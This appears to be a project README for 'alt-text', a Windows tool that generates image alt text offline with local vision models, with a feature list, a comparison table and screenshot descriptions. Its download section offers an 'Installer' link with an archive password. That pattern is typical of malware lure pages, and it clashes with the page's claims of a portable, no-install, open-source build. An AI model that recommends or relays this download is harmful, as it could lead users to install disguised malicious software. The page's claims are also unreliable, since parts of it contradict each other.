♿ Free, open-source alt text generator for Windows — local vision models write image descriptions in batch. 100 MB portable, offline, MIT.
- ✅ Local vision captions — a vision-language model describes each image on your machine, no upload
- ✅ Length styles — short WCAG-style alt, social caption and detailed description modes per batch
- ✅ Context hints — label the batch product, food or chart and the wording follows that register
- ✅ Batch folders — hundreds of images walked and captioned into a filename-to-text CSV
- ✅ Edit pass — fix wording in a grid before export, with keyboard-only movement
- ✅ HTML snippet export — img tags with alt attributes ready to paste into a site
- ✅ 100 MB self-contained exe — runtime bundled, vision model downloads separately, offline after that, MIT
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | alt-text | ChatGPT vision | Alt-text cloud APIs | Hand writing |
|---|---|---|---|---|
| Price | Free, MIT | Free tier | Paid per call | Your hours |
| Open source | Yes | No | No | N/A |
| Images stay local | Yes | Upload | Upload | Yes |
| Batch folder with CSV | Yes | No | API only | No |
| Length style presets | Yes | Prompted | Prompted | Manual |
| Portable, no install | Yes, 100 MB | Browser | Cloud only | N/A |
generate alt text for many images offline for accessibility compliance?
Accessibility guidelines require alt text on every image, and cloud vision APIs bill per call while uploading the entire library. alt-text captions folders locally with per-platform styles and exports a CSV or HTML snippets. It is a 100 MB portable exe, MIT, offline.
All screenshots describe the 1280x800 dark UI.
- Dark grid (#121417, green #16A34A): image thumbnails with caption fields beneath, style dropdown reading detailed, progress chip showing 143 of 400 described.
- Edit pass: focused caption expanded with keyboard hints, context hint chip reading product photos, quality note on one low-confidence caption in amber.
- Export view: CSV preview with filename and alt columns, HTML snippet tab selected, toast reading snippets copied for 400 images.
| Source | Link |
|---|---|
| 💾 Installer alt-text | Installer alt-text |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.